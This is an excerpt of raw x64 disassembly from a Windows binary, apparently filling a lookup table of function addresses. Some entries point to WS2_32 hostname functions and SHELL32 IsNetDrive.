mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x33
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ca2e0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x33
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7afa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x33
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cda08
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x34
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c3d88
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x34
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2780
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x34
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d3bec
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x34
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d180c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x35
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dc9c8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x35
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c35ae
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x35
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c9b22
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x35
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401db00c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x36
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c4824
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x36
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostbyname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x36
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c48f8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x36
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c24a8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x37
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostbyaddr
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x37
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d44f8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x37
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x37
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c4f74
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x38
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cfe0c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x38
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6c3e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x38
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7b3a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x38
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d058c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x39
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6752
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x39
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d924c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x39
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c3b2e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x39
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401da818
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3a
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d6752
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3a
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dc5a4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3a
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c3b2e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3a
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401da818
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3b
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2712
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3b
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c47a4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3b
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c3b2e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3b
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c1830
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3c
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2712
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3c
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c6000
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3c
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c3b2e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3c
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c1830
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3d
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d3272
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3d
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d511e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3d
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c5ea2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3d
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cc912
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3e
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cb72a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3e
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401db55c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3e
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d610a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3e
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d8eaa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3f
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c1b70
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3f
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c3048
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3f
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c77f0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x3f
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cdfc2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 6
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cfe0c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 6
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ca042
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 6
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7b3a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
shl rax, 6
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d058c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x41
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cb800
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x41
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d31a2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x41
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1a9c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x41
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d0f4e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x42
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d44ae
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x42
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cc204
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x42
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d356a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x42
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d8226
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x43
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d99ec
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x43
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cd444
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x43
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c5fd6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x43
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dd206
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x44
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1e6c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x44
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1738
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x44
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c5ea2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x44
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2cb2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x45
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1410
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x45
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d3120
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x45
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c74d6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x45
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cac1a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x46
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostbyaddr
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x46
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c8ce2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x46
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d58f2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x46
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cafb0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x47
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf664
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x47
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x47
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c77f0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x47
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c40e6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x48
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x48
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401da748
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x48
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c5a0a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x48
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d3b2c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x49
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c9e38
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x49
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c8006
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x49
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d31de
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x49
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d7404
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4a
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401db200
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4a
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d8f70
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4a
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cb6c6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4a
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d5aba
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4b
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4b
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.WS2_32.dll_gethostname
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4b
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dbe86
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4b
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cdb28
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4c
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d4464
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4c
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4c
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d610a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4c
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d5c0a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4d
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c9ea2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4d
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ce6e4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4d
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dce64
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4d
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c4daa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4e
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cf75c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x4e
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
